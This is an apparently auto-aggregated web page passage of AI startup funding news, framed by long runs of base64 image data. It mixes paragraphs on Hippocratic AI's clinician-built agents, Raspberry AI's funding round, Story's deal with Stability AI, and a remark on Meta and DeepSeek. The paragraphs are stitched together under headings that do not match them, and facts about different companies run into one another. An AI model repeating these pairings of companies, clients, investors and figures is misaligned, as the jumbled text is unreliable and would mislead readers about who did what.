ZEVcg2pRIq8InRCNiIRsJzsVEVJ2POrVMz8i2IrX0RiAZAAQLIqiwAAEEMqWZAA6KFRpW8znN6O3uVZdelpTb5lCZSsRnRUt2JtHRQxc4O6Zz6BEs2stnp7FHiSej0Z1xxVz5xsvCtKOzZzvH/AB2nNf19B3reiNo1Elq7JbnhQ4hJbq/1FKmNlJrklyMf510/1x0+jhVXLY0VRs4MHUzxT/teR6UIoxrTrLtlKFzysZSlKvShpq7q/NrW3vt7nuNaHnY7JdZ92mk+cW9pexrDxkxy/LzeI3nh8NU6Z4S8pXv+Z09l+KOjWVKT/VVHbXaM3s/wOXDVUlUw9Z2jJvxb5Z8pHnapuz1WzXXqez28Hp+r3KZjLDV1UhGV9bK/qapkdDMCC9ON3qFbUolMROyNdkeZxSq1BpPxPwx9XoWonhlqjqVeWZwi/Jb/AF3PS2OfBUlTpQhHZKxumBDuV7u+7LspKoB4naqmlh4W/ex+7I+UPqO1E70IL+YvuyPlzNQAKuaMixKM+9Q71AbEGaqolTXUC5JW5NygSRcXCAFwiAQSAFhYXBVclaocrZacrsqlcwLU43OunEzpQNm7GhMpWOHE1+SLYityOVAEgSyCIgEgAAABJBIEMglkADalt7mJrS2sUWkUaRfyZDiUUykaotYiwQzE3KiwFri5W5NwPS4RiLScX6o+iozVrnx9KeV3R0TxU2rZnY55Ybu3bDl7Zp7uN4pGKyw8UuvJHjVKrk25O7MYs6aOGlLk7F1MWbcs6ynFz0tqtn+DGGwUsybTtf5ns4fCKKV9zrjA53l/jtjwz9XwdWdPX6j3aVRSipLZnho9Xh6tSj55n9Z04st+Dlx15dkTeETGDRsmdnAqOyPFqy7zEwprXL4n+B6eMrKMW76W1PI7OT7yVas1vLfouSJVe/CKSRMp2K950RN3+yVGbqPoUc090auT6FHVXOIHh9qUlQg7/wCIvuyPk5VHyPq+1lv0aFv3sfuyPkTGXsADKpO+iMiJ1raIxlJvdlspGUIhTa2ZbvJdSMpaMAJVWS5s0jiZc7Mp3ZGUDpjilzVjWNWL5o4coylHo6DQ89X2u0XhKd92B2teZVpmazhyn5AX1I8Rnnn0QUp9EBw3N6MDKnG51x0RBfY569awrVbI45O7KG5JAIgAAABAEggkASQCiSrJIIBePUobUtvcolSuSVlAJlE2K2LkAUFizICIsGiQBSxrQ1ko9XZMoAPpuHcLhFKVRXn05I7pQXI4+GYhzpwlLmvnZ2PQSuefLf69uGteGcYamuVCxJhsjSu1Fbt2R61kvCtopJexy4SnlXePd6RX2s6Ez0cU1NvPy5bumqkXUtDEtyOzk8rtNVnHDvKm8zUbpXsm9T0uF0FToQgtElr5vmbPdR8lcsnyQ0N0w2cnfzbsoNeb2LucuvyWgG5WSM1Wa3XutSyqJgeD2sjbDw/qx+7I+TbsfV9rp2w8F/NX3ZHx7dznl7CUrlbFrFlAyM8pKgbKBaxdDFUzSMC1iwRXKRlRcWKK5URkRqok2Az7tFoU7F0SAsRlJJKIsSCGyDhpxshUqWIBByTlcgAIAAAAAIABQJAIAAABkAAa0tiAUahogFEZRYAAQAEQCAAIYAH1mGoZaVKHONOP+pnTSloAYzj0cV/G6RvRoXd3pFbvr5AHPGbrrldR1N3/AAXRBAHd5lky1PV67bv0AKIpzzScjRMAqNFLR36hJAFDvobZhJu142fkAB872sd8PD+qtP8A6yPl4wAOd9i6iWIBECUiAUXSJsQAJJQAFgAAJIBUSCAAKtgEH//Z" width="303px" alt="a16z generative ai"/></p>
<p><p>Once the AI agent is up and running, the clinicians who created it will be able to claim a share of the revenue it generates from the startup’s customers. Currently the technology is being used by Under Armour, MCM Worldwide, Gruppo Teddy and Li &amp; Fung to create and iterate apparel, footwear and accessories styles. The company’s existing investors Greycroft, Correlation Ventures and MVP Ventures also joined in the round, along with notable angel investors, including Gokul Rajaram and Ken Pilot. Clearly, even as he espouses a commitment to open source AI, Zuck is not convinced that DeepSeek’s approach of optimizing for efficiency while leveraging far fewer GPUs than major labs is the right one for Meta, or for the future of AI.</p>
</p>
<p><h2>Raspberry AI secures 24 million US dollars in funding round</h2>
</p>
<p><p>Story is the world’s intellectual property blockchain, transforming IP into networks that transcend mediums and platforms, unleashing global creativity and liquidity. By integrating Stability AI’s advanced models, Story is taking a significant step toward building a fair and sustainable internet for creators and developers in the age of generative AI. Hippocratic AI said it’s necessary to have clinicians onboard because they have, over the course of their careers, developed deep expertise in their respective fields, as well as the practical insights to help cure specific medical conditions and the clinical workflows involved.</p>
</p>
<p><h3>Investing in Raspberry AI &#8211; Andreessen Horowitz</h3>
<p>Investing in Raspberry AI.</p>
<p>Posted: Mon, 13 Jan 2025 08:00:00 GMT [<a href='https://news.google.com/rss/articles/CBMiZ0FVX3lxTE1wRXhnSzlxU0FQNG9oS0FUb25LZ0Z3cHJTbzVDSUVSTnNkckNrTGFnU1UxOHY5dlRNd3lOZ3FaaFBqSUczNjdjdVN6RGY0blNEZW8tbFVyYlRFWDN4ZmFsMngyM0FuTzg?oc=5' rel="nofollow">source</a>]</p>
</p>
<p><p>Story aims  to bridge this gap by combining Stability AI’s cutting-edge technology with blockchain’s ability to secure digital property rights. For example, creators could register unique styles or voices as intellectual property on Story with transparent usage terms. This would enable others to train and fine-tune AI models using this IP, ensuring that all contributors in the creative chain benefit when outputs are monetized.</p>
</p>
<p><h2>One click below supports our mission to provide free, deep, and relevant content.</h2>
</p>
<p><p>Holger Mueller of Constellation Research Inc. said Hippocratic AI  is bringing two of the leading technology trends to the healthcare industry, namely no-code or low-code software development and AI agents. The launch is a bold step forward in healthcare innovation, giving clinicians the opportunity to participate in the design of AI agents that can address various aspects of patient care. It says clinicians can create an AI agent prototype that specializes in their area of focus in less than 30 minutes, and around three to four hours to develop one that can be tested. Shah said the last nine months since the company’s previous $50 million funding round have seen it make tremendous progress. During that time, it has received its first U.S. patents, fully evaluated and verified the safety of its first AI healthcare agents, and signed contracts with 23 health systems, payers and pharma clients.</p>
</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src="data:image/jpeg;base64,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